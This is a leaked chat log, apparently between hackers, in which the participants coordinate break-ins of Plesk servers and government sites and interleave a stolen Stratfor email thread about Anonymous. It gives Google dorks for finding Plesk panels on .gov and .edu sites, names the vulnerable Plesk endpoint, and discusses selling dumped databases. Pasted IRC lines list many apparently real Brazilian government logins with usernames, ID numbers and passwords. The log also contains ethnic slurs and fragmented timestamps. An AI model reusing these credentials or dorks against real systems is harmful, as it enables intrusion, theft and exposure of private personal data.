(8:47:33 PM)
(8:47:42 PM)
(8:47:47 PM)
(8:47:48 PM)
(8:47:56 PM)
(8:48:04 PM)
(8:49:53 PM)
(8:53:44 PM)
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leondavidson@jabber.org/jabber.org: yo yo yo
leondavidson@jabber.org/jabber.org: you up
yohoho@jabber.ccc.de: what's poppin
yohoho@jabber.ccc.de: yes
yohoho@jabber.ccc.de: h just got on so I'm gonna try to put some work in
yohoho@jabber.ccc.de: also I been skimming these stratfor emails
leondavidson@jabber.org/jabber.org: aight perfect
yohoho@jabber.ccc.de: there's some gold in here
leondavidson@jabber.org/jabber.org: there is some decent shit in here but no
smoking guns yet
(5:33:11 AM) yohoho@jabber.ccc.de: kind of actually
(5:33:18 AM) yohoho@jabber.ccc.de: fred burton was monitoring anonymous
(5:33:23 AM) yohoho@jabber.ccc.de: the guy that went on the video
(5:33:54 AM) leondavidson@jabber.org/jabber.org: oh really?
(5:34:02 AM) leondavidson@jabber.org/jabber.org: what did he say?
(5:34:03 AM) yohoho@jabber.ccc.de: btw gather more plesk targets
(5:34:10 AM) yohoho@jabber.ccc.de: he just got me all these ones i been waiting for
(5:34:15 AM) yohoho@jabber.ccc.de: may as well get as much as we can now
(5:35:21 AM) leondavidson@jabber.org/jabber.org: yup
(5:38:43 AM) leondavidson@jabber.org/jabber.org: NaijaCyberHack NaijaCyberHactivists
Nigerian Army's Website Hacked & Defaced hqnaec.org || Go after Boko Haram NOT Innocent
Protesters #OccupyNigeria cc @anonymousabu
(5:38:51 AM) leondavidson@jabber.org/jabber.org: show these nigerians love
(5:39:10 AM) leondavidson@jabber.org/jabber.org: btw
(5:39:22 AM) leondavidson@jabber.org/jabber.org: with that message from "hannibal" a cyber
war is imminent
(5:39:26 AM) leondavidson@jabber.org/jabber.org: arabs vs israeli hackers
(5:39:28 AM) leondavidson@jabber.org/jabber.org: its going to be win
(5:39:35 AM) yohoho@jabber.ccc.de: From: scott.stewart@stratfor.com
(5:32:02 AM)
(5:32:04 AM)
(5:32:09 AM)
(5:32:11 AM)
(5:32:16 AM)
(5:32:20 AM)
(5:32:22 AM)
(5:32:25 AM)
(5:32:48 AM)

To: analysts@stratfor.com
List Name: mailto:analysts@stratfor.com
Subject: RE: Wiki Hackers Talk to The Economist
Date: 2010-12-10 20:25:20
Content:
I also think there are more folks who are willing to be hacktivists than
those who are willing to get tear gassed or charge a police line. It is
more anonymous and less dangerous/uncomfortable.
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From: analysts-bounces@stratfor.com [mailto:analysts-bounces@stratfor.com]
On Behalf Of Peter Zeihan
Sent: Friday, December 10, 2010 2:21 PM
To: analysts@stratfor.com
Subject: Re: Wiki Hackers Talk to The Economist

ull never get rid of it completely -- as long as there are young people
with no assets and a perception that they've nothing to lose this will
exist
but in times when home ownership is growing and there is a perception of a
threat, the numbers of folks who will do this is very low -- while at the
same time the state's ability to deal with them is relatively high and
support in broader society is questionable at best for such anarchists
On 12/10/2010 12:51 PM, Chris Farnham wrote:
And what happens if your core are people in Chicago, Oslo, Aukland, Perth,
Munich, Gothenburg, etc. who are not afraid and are only two years out of
college working for a marketing company and their biggest financial
liability is your AT&T monthly invoice?

As I said, these guys are not yet a major destabilising force, but you
look at the human flesh search engines in China, they unsettle the Party
on a monthly basis with their ability track, identify, locate and out
whatever target takes their interest and that has included Party members
in the past.

Wikileaks is a big deal in the world of the anti-establishment and the
network based activists, it has displayed potential to strike at the
established powers via information proliferation hand in hand with the
conventional media. That's power and Anon has now latched on to the
bandwagon. These guys have already crossed from net based activism to
physical world activism, it has already happened at a very small level.
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As I said, the core may not be the danger but the fanatical fringe amongst
them are knowledgeable, motivated, organised and spread across the world
with a non-state, nihilistic agenda. Sounds somewhat familiar, no?

I'm not saying that this shit is going down. I'm saying that there is
significant potential there and to ignore it could be quite a mistake
because if it doesn't make anything of itself, as Mike Mooney has said, it
has created a wonderful template for others who may be more determined.

-------------------------------------------------------------------------From: "Peter Zeihan"
To: analysts@stratfor.com
Sent: Saturday, December 11, 2010 2:35:25 AM
Subject: Re: Wiki Hackers Talk to The Economist
yeah - its always there, but there are two trends in western soceities
that have traditionally kept it weak for the past few decades: rising home
ownership and the presence of an enemy
if ur afraid you want a strong state, and if you have a mortgage you don't
riot
On 12/10/2010 12:31 PM, Marko Papic wrote:
Agreed completely. They have definitely toned done and terrorism has lost
its cool "edge" after 9-11.
But things go in waves... I mean there is nothing new about anarchism. I
would argue it is hormonal. You can't ever really weed it out, it is not
purely ideological. You are always going to find young men who think they
are destined for greatness.
On 12/10/10 12:23 PM, scott stewart wrote:
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Yes, but....

The anarchist movement had generated a lot of momentum in the physical
world around the time of the millennium with the battle in Seattle, London
May Day and the WEF violence in Davos. They lost a lot of steam after
9/11.

We still have yet to see them regain the mass, momentum and numbers they
had a decade ago. WTO and G-7 meetings are far more peaceful.

From: analysts-bounces@stratfor.com [mailto:analysts-bounces@stratfor.com]
On Behalf Of Marko Papic
Sent: Friday, December 10, 2010 1:13 PM
To: analysts@stratfor.com
Subject: Re: Wiki Hackers Talk to The Economist

I agree with Chris.
We have to be aware that "anarchism" has deep deep roots in history and
has been violent in many ways many times.
I am afraid, for example, that all the anti-globalization people in Europe
are looking to hitch a new wagon. I am worried that the protests in the UK
and all this net anarchism activity could somehow bizzarly get connected.
I have no real evidence, but I do think that is potential for net
anarchism to get its real world anarchist equivalent.
I think we need to consider what Chris is saying very seriously. The cross
over into physical/real life is a serious potential.
On 12/10/10 11:51 AM, Chris Farnham wrote:
I watch anon and /b/ and have done for a while now (no I do not chan).
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There are some interesting crossovers with AQ and the
decentralization/motivation of ideology. I don't think they have yet
reached a point where they have become a cogent threat to security.
However this wikileaks thing has the potential to be a catalyst for them.
A web based subversive entity has just rocked the world for two weeks,
that's dynamite for these guys.
The chaners/anon/b are educated and at the leading edge of network based
technology, have a nebulous structure of loyal people spread through the
world with no nationalistic foundations bit drawn together under a shared
interest in chaos (hentai and cats, for fuck sake). There are numerous
examples where they have uncovered identities and all personal details of
people based on a single photo (of a woman putting a cat in a garbage bin,
for example) and bought some serious vigilanty style justice to those they
disagree with. They have also crossed over into the physical/real life
world a number of times.
These guys are on the same level as the Chinese human flesh seach engines
and quite possibly the cyber warfare units of many developed countries
today.
Most importantly, for the US at least, I have noted a number of militant
libertarians within their periphery.
It's going to be very interesting to watch what anon does in the
'post-wilileaks' environment. If they move from a bunch of tech geeks in
mum's basement into a real movement they could cause serious trouble and
be hard to kill. The coresy not be the problem but the few unhinged among
them could prove to be quite destructive if so inclined.
Sent from my iPhone
On Dec 11, 2010, at 1:25, Fred Burton wrote:
These global hippies and arseholes are like CHAOS or THRUSH.
Fred Burton wrote:
http://www.economist.com/blogs/babbage/2010/12/more_wikileaks
I am talking to members of a group called "Anonymous", using a web-based
collaborative text-editing service. It is the first such interview for
all of us, and their answers begin to collide on the page. One member
comes from Norway; another shows surprise, then offers that she is from
New Zealand. Another writes that group members come from Nepal and
Eastern Russia. They all speak through pseudonyms, but I don't even know
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which psuedonym comes from what country because shortly after I read
these answers, someone who calls himself "Tux" erases them all and writes
(5:39:41 AM) yohoho@jabber.ccc.de: yeah I saw that
(5:39:42 AM) yohoho@jabber.ccc.de: honestly
(5:39:42 AM) yohoho@jabber.ccc.de: fuck israel
(5:39:47 AM) yohoho@jabber.ccc.de: they are as bad as the US government
(5:39:48 AM) leondavidson@jabber.org/jabber.org: +!
(5:39:54 AM) leondavidson@jabber.org/jabber.org: arab hackers going to tear them up
(5:39:59 AM) leondavidson@jabber.org/jabber.org: loook at 95% of hacks on zone-h
(5:40:00 AM) yohoho@jabber.ccc.de: I have total support for the palestinians hamas all of them
(5:40:02 AM) leondavidson@jabber.org/jabber.org: its all muslims
(5:40:36 AM) leondavidson@jabber.org/jabber.org: I also think there are more folks who are
willing to be hacktivists than
those who are willing to get tear gassed or charge a police line. It is
more anonymous and less dangerous/uncomfortable.
(5:40:39 AM) leondavidson@jabber.org/jabber.org: I don't like this thinking
(5:40:44 AM) leondavidson@jabber.org/jabber.org: we are hackers. it is what we do
(5:42:53 AM) leondavidson@jabber.org/jabber.org: http://pastebin.com/bRBXNBSC
(5:45:58 AM) yohoho@jabber.ccc.de: i'm getting the plesk vuln
(5:46:06 AM) yohoho@jabber.ccc.de: he already told me enough to know how it's vuln
(5:46:16 AM) leondavidson@jabber.org/jabber.org: what he say/
(5:46:26 AM) yohoho@jabber.ccc.de: it's an sql injection in one of the api queries
(5:46:37 AM) yohoho@jabber.ccc.de: he even gave which parameter
(5:46:38 AM) yohoho@jabber.ccc.de: so I'm golden
(5:46:50 AM) leondavidson@jabber.org/jabber.org: O_O O_O O_O O_O O_O
(5:46:52 AM) yohoho@jabber.ccc.de: I've already been reading the API RPC pdf manuals for
plesk
(5:47:04 AM) yohoho@jabber.ccc.de: /control/enterprise/agent.php
(6:06:32 AM) leondavidson@jabber.org/jabber.org: bro
(6:07:12 AM) leondavidson@jabber.org/jabber.org: so http://publicintelligence.net/ run plesk
and may be vulnerable. makes sense to own then secure it. as you know their focus is to leak
documents from govt/mil
(6:07:18 AM) leondavidson@jabber.org/jabber.org: they even hosted a few of our fuoi docs
(6:07:24 AM) yohoho@jabber.ccc.de: yes
(6:07:37 AM) leondavidson@jabber.org/jabber.org: so secure that shit
(6:07:42 AM) leondavidson@jabber.org/jabber.org: I'm still looking around
(6:07:57 AM) yohoho@jabber.ccc.de: yeah
(6:08:00 AM) yohoho@jabber.ccc.de: find some good targets
(6:08:04 AM) yohoho@jabber.ccc.de: he's just going off a list and I already ran out
(6:08:08 AM) yohoho@jabber.ccc.de: many more ownigns to come, believe it
(6:51:47 AM) yohoho@jabber.ccc.de: yo
(6:52:46 AM) leondavidson@jabber.org/jabber.org: yo
(6:53:21 AM) yohoho@jabber.ccc.de: check publicintelligence.net ;)
(6:54:10 AM) leondavidson@jabber.org/jabber.org: lol bro
(6:54:24 AM) yohoho@jabber.ccc.de: hopefully they won't get mad
(6:54:32 AM) leondavidson@jabber.org/jabber.org: well
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leondavidson@jabber.org/jabber.org: in my opinion remove that, and leave it
alone. we may be able to use it in the future if anything
(6:54:51 AM) leondavidson@jabber.org/jabber.org: what else is he hosting on that box?
(6:54:56 AM) yohoho@jabber.ccc.de: nothing else
(6:54:59 AM) yohoho@jabber.ccc.de: we'll still have it
(6:55:19 AM) leondavidson@jabber.org/jabber.org: so lets get more targets hmm
(6:55:27 AM) leondavidson@jabber.org/jabber.org: what have you hit so far thats itneresting
police shit?
(6:55:31 AM) yohoho@jabber.ccc.de: yes let's
(6:55:33 AM) yohoho@jabber.ccc.de: what google dork you usin?
(6:55:37 AM) yohoho@jabber.ccc.de: he's bored and just fuckin around
(6:55:45 AM) leondavidson@jabber.org/jabber.org: kk
(6:55:47 AM) leondavidson@jabber.org/jabber.org: one sec
(6:56:18 AM) leondavidson@jabber.org/jabber.org: inurl:":8443/" intitle:"plesk"+"panel"
(6:56:21 AM) leondavidson@jabber.org/jabber.org: wrks wonders
(6:56:27 AM) leondavidson@jabber.org/jabber.org: do inurl:":8443/" intitle:"plesk"+"panel"
site:gov for example
(6:56:34 AM) leondavidson@jabber.org/jabber.org: site:edu to find harvard box
(7:03:59 AM) leondavidson@jabber.org/jabber.org: http://www.eurunion.org/eu/
(7:13:34 AM) yohoho@jabber.ccc.de: ok
(7:13:37 AM) yohoho@jabber.ccc.de: passed it on it's windows tho
(7:13:44 AM) leondavidson@jabber.org/jabber.org: that would be nice
(7:13:52 AM) leondavidson@jabber.org/jabber.org: why does your shit say offline
(7:14:02 AM) yohoho@jabber.ccc.de: does it?
(7:14:04 AM) leondavidson@jabber.org/jabber.org: yup
(7:14:05 AM) yohoho@jabber.ccc.de: hmm
(7:14:08 AM) leondavidson@jabber.org/jabber.org: purely vanity: http://www.agnostic.org/
(7:14:17 AM) leondavidson@jabber.org/jabber.org: sabu@agnostic.org I can rock on efnet :X
(7:17:07 AM) yohoho@jabber.ccc.de: drwxr-xr-x 13 root root 4096 Mar 14 2009 4scott.ca
drwxr-xr-x 13 root root 4096 Mar 14 2010 IGGYRE.COM
drwxr-xr-x 13 root root 4096 Mar 14 2010 ShowMeRealEstateSuccess.com
drwxr-xr-x 13 root root 4096 Mar 14 2009 agnostic.org
drwxr-xr-x 13 root root 4096 Mar 14 2010 allcousins.us
drwxr-xr-x 13 root root 4096 Mar 14 2009 aukc.org
drwxr-xr-x 13 root root 4096 Mar 14 2009 biblefaq.org
drwxr-xr-x 13 root root 4096 Mar 14 2009 bruderly.com
drwxr-xr-x 10 root root 4096 Jun 20 2008 chroot
drwxr-xr-x 13 root root 4096 Mar 14 2009 communityofreason.net
drwxr-xr-x 5 root root 4096 Jun 1 2011 default
drwxr-xr-x 13 root root 4096 Mar 14 2009 democracyforgainesvillefl.com
drwxr-xr-x 16 root root 4096 Jul 15 2008 earthward.org
drwxr-xr-x 13 root root 4096 Mar 14 2009 goodscienceleague.org
drwxr-xr-x 13 root root 4096 Mar 14 2009 helpfulcms.com
drwxr-xr-x 13 root root 4096 Mar 14 2009 helpfulcms.net
drwxr-xr-x 13 root root 4096 Mar 14 2009 helpfulcms.org
drwxr-xr-x 13 root root 4096 Mar 14 2009 kcfreethinkers.org
(6:54:44 AM)
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drwxr-xr-x 13 root root 4096 Mar 14 2009 mrmoderate.com
drwxr-xr-x 13 root root 4096 Mar 14 2009 our-voices.net
drwxrwxrwx 15 root root 4096 Mar 31 2010 percivalclay.org
drwxr-xr-x 13 root root 4096 Mar 14 2009 philanthropicpress.com
drwxr-xr-x 13 root root 4096 Mar 14 2009 secularway.org
drwxr-xr-x 13 root root 4096 Aug 7 21:42 sincerejobs.com
drwxr-xr-x 13 root root 4096 Mar 14 2009 watchdove.com
(7:17:25 AM) leondavidson@jabber.org/jabber.org: son that 0day is that fat?
(7:17:26 AM) leondavidson@jabber.org/jabber.org: so sex.
(7:17:49 AM) leondavidson@jabber.org/jabber.org: nigga start hitting vps/isps
(7:17:52 AM) leondavidson@jabber.org/jabber.org: use my dork and site:net
(7:17:55 AM) leondavidson@jabber.org/jabber.org: all vps companies
(7:18:13 AM) yohoho@jabber.ccc.de: find some shit man
(7:18:17 AM) yohoho@jabber.ccc.de: i'm looking fast as I can
(7:18:21 AM) leondavidson@jabber.org/jabber.org: me too
(7:18:22 AM) leondavidson@jabber.org/jabber.org: sec
(7:18:27 AM) yohoho@jabber.ccc.de: he's dumping those DBs
(7:21:25 AM) leondavidson@jabber.org/jabber.org: btw did you hear RSnake is andlin stratfors
security now
(7:21:29 AM) leondavidson@jabber.org/jabber.org: he owes us a cut
(7:21:39 AM) yohoho@jabber.ccc.de: are you serious?
(7:21:46 AM) Unable to buzz, because yohoho@jabber.ccc.de might be offline.
(7:21:53 AM) leondavidson@jabber.org/jabber.org: I am as serious as a fucking heart attack
(7:22:01 AM) leondavidson@jabber.org/jabber.org: stratfor has hired rsnake / sectheory
(7:22:02 AM) leondavidson@jabber.org/jabber.org: hahahahahha
(7:22:25 AM) yohoho@jabber.ccc.de: lol.
(7:22:25 AM) yohoho@jabber.ccc.de: small world
(7:22:34 AM) leondavidson@jabber.org/jabber.org: so true
(7:22:59 AM) yohoho@jabber.ccc.de: oh he is in sectheory
(7:23:06 AM) leondavidson@jabber.org/jabber.org: yes
(7:23:49 AM) leondavidson@jabber.org/jabber.org: https://www.xpertdns.com:8443/ dns host
(7:27:59 AM) leondavidson@jabber.org/jabber.org: grab any/all of these:
https://www.google.com/search?hl=en&client=firefox-a&tbo=1&rls=org.mozilla%3AenUS%3Aofficial&noj=1&biw=1366&bih=661&q=inurl%3A%22%3A8443%2F%22+intitle%3A
%22plesk%22+site%3Ail&oq=inurl%3A%22%3A8443%2F%22+intitle%3A%22plesk%22+site
%3Ail&aq=f&aqi=&aql=&gs_sm=e&gs_upl=10145l12944l0l13197l8l8l0l7l0l0l128l128l0.1l1l0
for upcoming israeli cyberwar :P
(7:28:30 AM) leondavidson@jabber.org/jabber.org: going to have to just scan entire subnets for
port 8443
(7:28:34 AM) leondavidson@jabber.org/jabber.org: theres a lot of good shit we missin
(7:28:38 AM) leondavidson@jabber.org/jabber.org: that google simply doesnt see
(7:28:48 AM) yohoho@jabber.ccc.de: yes
(7:59:47 AM) leondavidson@jabber.org/jabber.org: still at it?
(8:00:09 AM) yohoho@jabber.ccc.de: yes
(8:00:19 AM) yohoho@jabber.ccc.de: we got some good targets lined up
(8:00:23 AM) yohoho@jabber.ccc.de: more the better
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leondavidson@jabber.org/jabber.org: sounsa ood
leondavidson@jabber.org/jabber.org: talking to lords of dharmaraja
leondavidson@jabber.org/jabber.org: they owned german fsb
leondavidson@jabber.org/jabber.org: as well
yohoho@jabber.ccc.de: nice
leondavidson@jabber.org/jabber.org: giving us source codes to pcanywhere
leondavidson@jabber.org/jabber.org: :)
yohoho@jabber.ccc.de: i'm getting to work on some of these targets
yohoho@jabber.ccc.de: oh damn
leondavidson@jabber.org/jabber.org: yup
leondavidson@jabber.org/jabber.org: I'll upload to our server in a few
yohoho@jabber.ccc.de: what to do
yohoho@jabber.ccc.de: find vulns?
leondavidson@jabber.org/jabber.org: yup
yohoho@jabber.ccc.de: release?
yohoho@jabber.ccc.de: blackmail?
leondavidson@jabber.org/jabber.org: find vulns
leondavidson@jabber.org/jabber.org: then release
leondavidson@jabber.org/jabber.org: we need 0days
leondavidson@jabber.org/jabber.org: if we can own pcanywhere boxes inside
.mil/.gov = win
(8:52:24 AM) leondavidson@jabber.org/jabber.org: holy shit
(8:52:28 AM) leondavidson@jabber.org/jabber.org: guess who these mother fuckers are
(8:52:31 AM) leondavidson@jabber.org/jabber.org: hahaha
(8:52:32 AM) leondavidson@jabber.org/jabber.org: 12:41 <LoD> we fucked CNAIPIC and
gave it to our enforcer arm in Pakistan
12:41 <LoD> =)
12:41 <LoD> the guy without nickname
12:42 <LoD> you remember him
12:42 <LoD> he gave you cnaipic shit
12:42 <Sabu> yes :))
12:42 <Sabu> I remember this!
12:42 <LoD> so its us
12:42 <Sabu> that was you guys?
12:42 <Sabu> hahah
12:42 <Sabu> why didn't you stay in contact with me ..
(8:00:59 AM)
(8:50:55 AM)
(8:50:59 AM)
(8:51:00 AM)
(8:51:08 AM)
(8:51:10 AM)
(8:51:11 AM)
(8:51:16 AM)
(8:51:19 AM)
(8:51:22 AM)
(8:51:26 AM)
(8:51:29 AM)
(8:51:31 AM)
(8:51:33 AM)
(8:51:33 AM)
(8:51:35 AM)
(8:51:37 AM)
(8:51:39 AM)
(8:51:40 AM)
(8:51:50 AM)

(8:52:34 AM)
(8:52:39 AM)

yohoho@jabber.ccc.de: who?
leondavidson@jabber.org/jabber.org: they're the ones that hacked italian

CNAIPIC
(8:52:43 AM)
(8:52:49 AM)
(8:52:51 AM)
(8:53:01 AM)
(8:53:04 AM)
(8:53:14 AM)

leondavidson@jabber.org/jabber.org: and gave us dumps
yohoho@jabber.ccc.de: fuck yes!!
leondavidson@jabber.org/jabber.org: hahahahah
yohoho@jabber.ccc.de: that shit was pretty golden
leondavidson@jabber.org/jabber.org: yup
leondavidson@jabber.org/jabber.org: these niggas dont play. I'm going to solidify
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our relationship
(8:54:25 AM) leondavidson@jabber.org/jabber.org: and
(8:54:29 AM) leondavidson@jabber.org/jabber.org: these are paki hacers
(8:54:31 AM) leondavidson@jabber.org/jabber.org: not indian
(8:56:24 AM) leondavidson@jabber.org/jabber.org: 12:44 <LoD> them indian faggots
12:44 <LoD> have src not only for Sym
12:44 <Sabu> I figured bro. how bad is it?
12:44 <LoD> so I want to ask you
12:44 <LoD> if you have time and wish
12:44 <LoD> to start operation 0day
12:45 <LoD> my team doesnt have
12:45 <LoD> time at all to explore
12:45 <LoD> the codes
12:45 <LoD> but I am sure if we all do
12:45 <LoD> it will give us some ways to 0day shit
12:45 <Sabu> my team has been doing 0day research. so we can both take advantage of this
12:45 <Sabu> whatever we find we'll send your way
12:45 <Sabu> so you can further expand your bots
12:45 <Sabu> and we'll own police/feds
12:45 <LoD> good
12:46 <LoD> lemme show what kind of accesses we got
12:46 <Sabu> send sources my way. today I'll post NU codes to TBP let them spread it.
pcanywhere I want to research first
12:46 <Sabu> see if we can find 0days in it
12:46 <Sabu> then release
12:46 <Sabu> ok
yohoho@jabber.ccc.de: hmm
leondavidson@jabber.org/jabber.org: interesting times
leondavidson@jabber.org/jabber.org: yo
leondavidson@jabber.org/jabber.org: these kids
leondavidson@jabber.org/jabber.org: are sick
leondavidson@jabber.org/jabber.org: they have attacked a lot of intelligence
agencies across the world
(9:03:43 AM) leondavidson@jabber.org/jabber.org: hes pasting me brazil login now
(9:04:47 AM) leondavidson@jabber.org/jabber.org: I will put together a team of coders to begin
breaking apart these sources
(9:04:49 AM) leondavidson@jabber.org/jabber.org: they'll be our 0day wing
(9:05:06 AM) leondavidson@jabber.org/jabber.org: I should have that prepped probably this
week
(9:05:38 AM) yohoho@jabber.ccc.de: this is nice
(9:05:39 AM) yohoho@jabber.ccc.de: the amount of ownings over the past few weeks is
incredible
(9:06:33 AM) leondavidson@jabber.org/jabber.org: 12:52 <LoD> moodle-cme.mec.gov.br
marizapm 123456
12:52 <LoD> moodle.eadesaf.serpro.gov.br 89552920744 own8ape
(8:59:30 AM)
(9:00:02 AM)
(9:03:16 AM)
(9:03:18 AM)
(9:03:18 AM)
(9:03:32 AM)
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12:52 <LoD> moodle3.mec.gov.br alexandra batista 123
12:52 <LoD> moodle3.mec.gov.br alexandra.batista neguin
12:52 <LoD> moodle3.mec.gov.br ana.torres 123
12:52 <LoD> moodle3.mec.gov.br gilvana.nunes 123
12:52 <LoD> moodle3.mec.gov.br giovana.nunes 123
12:52 <LoD> moodle3.mec.gov.br silney.marinho 123
12:52 <LoD> i du know what it is
12:52 <LoD> I just grab from the logs
12:52 <LoD> you chek it yaself
12:53 <LoD> wait for more
12:53 <Sabu> ok
12:53 <LoD> portal.detran.ce.gov.br 06206269000105 123456
12:53 <LoD> portal.mj.gov.br 004.958.582-77 81124259
12:53 <LoD> portal.mj.gov.br 043.310.016-87 99767698
12:53 <LoD> portal.mj.gov.br 087.349.307-95 220599
12:53 <LoD> portal.mj.gov.br 38411687449 2144660545
12:53 <LoD> portal.mj.gov.br 944.977.532-04 80528142
12:53 <LoD> portal2.saude.gov.br 043.863.699-61 0722662
12:54 <LoD> portaldoprofessor.mec.gov.br mona lisa mlpn1471
12:54 <LoD> proinfantil.mec.gov.br monaneves 1930959312
12:54 <LoD> wait I also have access to brazil police dep
12:54 <Sabu> ;)
12:54 <LoD> military police or smth
12:55 <LoD> rh24h.curitiba.pr.gov.br 70671 12021962
12:55 <LoD> rh24h.curitiba.pr.gov.br 85818 12021962
12:55 <LoD> sabia.proderj.rj.gov.br 0008092116 E2G8Q55S
12:55 <LoD> seaponline.sad.mt.gov.br 143488 titan150es
12:55 <LoD> in some cases you have to use local socks
12:55 <LoD> to get access
12:56 <LoD> brazil I did not check so they fresh
12:56 <LoD> not used
12:56 <LoD> secure.sefaz.salvador.ba.gov.br 05016900101 br1325
12:56 <LoD> secure.sefaz.salvador.ba.gov.br 29958300112 636819
yohoho@jabber.ccc.de: what in the fuck
yohoho@jabber.ccc.de: that's a whole lot of systems
leondavidson@jabber.org/jabber.org: word up
leondavidson@jabber.org/jabber.org: 12:57 <LoD> servicos.ibama.gov.br
09221271668 fabianos
12:57 <LoD> servicos.ibama.gov.br 294.289.476-87 1701
12:57 <LoD> sisfiesaluno.mec.gov.br 091.305.476-36 tnewroma
12:57 <LoD> sisfiesaluno.mec.gov.br pedromacielbhz@yahoo.com.br tnewroma
12:57 <LoD> sistemas.anatel.gov.br 99352958349 V0iu56
12:57 <LoD> sistemas.vitoria.es.gov.br 563949 007985
12:57 <LoD> sistemasencceja.inep.gov.br eliezerrs dede2112
12:57 <LoD> sistemasenem2.inep.gov.br 046.411.886-70 123333465
(9:07:03 AM)
(9:07:19 AM)
(9:07:53 AM)
(9:08:07 AM)
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12:57 <LoD> sistemasenem2.inep.gov.br 200920447985 kamila29
12:57 <LoD> sistemasenem2.inep.gov.br 200922951542 28752rmc
12:57 <LoD> sistemasenem2.inep.gov.br 369.289.868-16 KMILA13
12:57 <LoD> sisualuno.mec.gov.br 200920258307 349797
12:57 <LoD> sisualuno.mec.gov.br 200922951542 28752rm
12:57 <LoD> sisualuno.mec.gov.br 201002248444 kaharrrb
12:57 <LoD> site.apucarana.pr.gov.br 999377 379710
12:58 <LoD> ssd.mec.gov.br 221.593.044-68 cida04
12:58 <LoD> ssd.mec.gov.br 261.620.243-34 vida63
12:58 <LoD> ssd.mec.gov.br 329.360.938-38 ENSINO2007
12:58 <LoD> ssd.mec.gov.br 329.360.938-48 tata10
12:58 <LoD> ssd.mec.gov.br 692.200.935-53 romi59
12:58 <LoD> ssd.mec.gov.br 784.218.881-53 dhda08
12:58 <LoD> ssd.mec.gov.br 869.005.521-53 sirlene12
12:58 <LoD> ssd.mec.gov.br 919.738.801-34 selma12
(9:08:09 AM)
(9:08:45 AM)
(9:10:43 AM)
(9:10:49 AM)
(9:11:03 AM)
(9:11:05 AM)
(9:11:08 AM)
(9:11:34 AM)

leondavidson@jabber.org/jabber.org: rofl
yohoho@jabber.ccc.de: is ublicintel down for you?
yohoho@jabber.ccc.de: it's down
yohoho@jabber.ccc.de: hrm.
leondavidson@jabber.org/jabber.org: yeah
leondavidson@jabber.org/jabber.org: thats a shame
leondavidson@jabber.org/jabber.org: told you to remove it nigga :P
leondavidson@jabber.org/jabber.org: julian's basically hinting for us to own

kroll, Inc
(9:11:59 AM)

leondavidson@jabber.org/jabber.org: (9:11:17 AM)

dpaberlin@jabber.ccc.de: Kroll, Inc for instance does lots of private intel reports for
governments/companies.
(9:11:41 AM) dpaberlin@jabber.ccc.de: We took down the Kenyan government in
2007 with one of their reports.
(9:11:50 AM) leondavidson@jabber.org/jabber.org: I know you linked me before
mate
(9:11:53 AM) leondavidson@jabber.org/jabber.org: read the wiki page
leondavidson@jabber.org/jabber.org: thats the second time he hinted
yohoho@jabber.ccc.de: lol.
yohoho@jabber.ccc.de: there were plenty of kroll hashes in stratfor list I believe
leondavidson@jabber.org/jabber.org: lol
leondavidson@jabber.org/jabber.org: this is some gibsonian novel I'm living son
yohoho@jabber.ccc.de: high stakes homey
yohoho@jabber.ccc.de: we might win this thing tho
yohoho@jabber.ccc.de: how much do they gotta get knocked around till they quit
leondavidson@jabber.org/jabber.org: nigga just told me they want to hack .il
from saudi intelligence servers they hacked to create real cyberwar
(9:15:08 AM) leondavidson@jabber.org/jabber.org: I'm sittin here like
(9:15:09 AM) leondavidson@jabber.org/jabber.org: lol
(9:15:17 AM) leondavidson@jabber.org/jabber.org: yeah
(9:12:05 AM)
(9:12:57 AM)
(9:13:08 AM)
(9:14:18 AM)
(9:14:35 AM)
(9:14:46 AM)
(9:14:51 AM)
(9:15:03 AM)
(9:15:05 AM)
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leondavidson@jabber.org/jabber.org: 13:05 <LoD> there was stuff to buy
blueprints from Raytheon
13:05 <LoD> by Norino
13:05 <LoD> Norinco
13:05 <LoD> chinese
13:06 <LoD> and much more the idiot army general who we owneed did only change passowrd
to his
gov email
13:06 <LoD> not vpn or did not locate our bot
13:06 <Sabu> raytheon? O_O I like this
13:06 <LoD> and
13:06 <Sabu> anything from palantir?
(9:16:29 AM)

leondavidson@jabber.org/jabber.org: word up neegah
leondavidson@jabber.org/jabber.org: watching children of the corn
leondavidson@jabber.org/jabber.org: Daily_Donkey Daily Donkey News
Zappos.com hacked; 24 million customers affected - CNN (blog) dlydk.com/dj8 #cyberwar 12
minutes ago Favorite Retweet Reply
(9:32:53 AM) leondavidson@jabber.org/jabber.org: ROFL
(9:32:56 AM) leondavidson@jabber.org/jabber.org: wtf is going on
(9:32:57 AM) leondavidson@jabber.org/jabber.org: hahahah
(9:33:15 AM) leondavidson@jabber.org/jabber.org:
http://news.blogs.cnn.com/2012/01/16/zappos-com-hacked-24-million-customers-affected/
(9:33:31 AM) leondavidson@jabber.org/jabber.org: sorry im just bugging out at all this shit
right now
(9:39:41 AM) yohoho@jabber.ccc.de: k
(9:39:44 AM) yohoho@jabber.ccc.de: we got a lot of new targets now
(9:39:55 AM) yohoho@jabber.ccc.de: he just owned the fuck out of that dns system too
(9:40:10 AM) yohoho@jabber.ccc.de: they had copies of slowloris lol
(9:40:27 AM) yohoho@jabber.ccc.de: we got agnostic.org too for ya
(9:40:32 AM) yohoho@jabber.ccc.de: it is a christian hosting service or some bs
(9:40:42 AM) yohoho@jabber.ccc.de: he does wnat to grab and sell some DBs though
(9:40:45 AM) leondavidson@jabber.org/jabber.org: that dns box has slowlris?
(9:40:46 AM) leondavidson@jabber.org/jabber.org: aaahaha
(9:40:50 AM) yohoho@jabber.ccc.de: it depends what shit is relevant to our goals that we can
leak
(9:40:57 AM) yohoho@jabber.ccc.de: and others that we can quietly sell
(9:41:01 AM) leondavidson@jabber.org/jabber.org: yup
(9:41:33 AM) yohoho@jabber.ccc.de: UGH no mail on this one server
(9:41:38 AM) yohoho@jabber.ccc.de: too abd it was pretty promising
(9:41:45 AM) yohoho@jabber.ccc.de: homeland security, tech shit for cops
(9:42:08 AM) leondavidson@jabber.org/jabber.org: mhm
(9:42:18 AM) yohoho@jabber.ccc.de: he is also giving up the vuln tonight
(9:42:22 AM) yohoho@jabber.ccc.de: straight out
(9:42:31 AM) yohoho@jabber.ccc.de: I want to tweak it as well
(9:42:51 AM) yohoho@jabber.ccc.de: he says its limited to specific environments but could be
(9:30:17 AM)
(9:30:22 AM)
(9:32:52 AM)
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fixed to work better with windows and other slight version variations
(9:43:58 AM) leondavidson@jabber.org/jabber.org: so lets work on it neegah
(10:50:30 AM) leondavidson@jabber.org/70dc82bb90a035d3: downloading pcanywhere
sourcecodes now
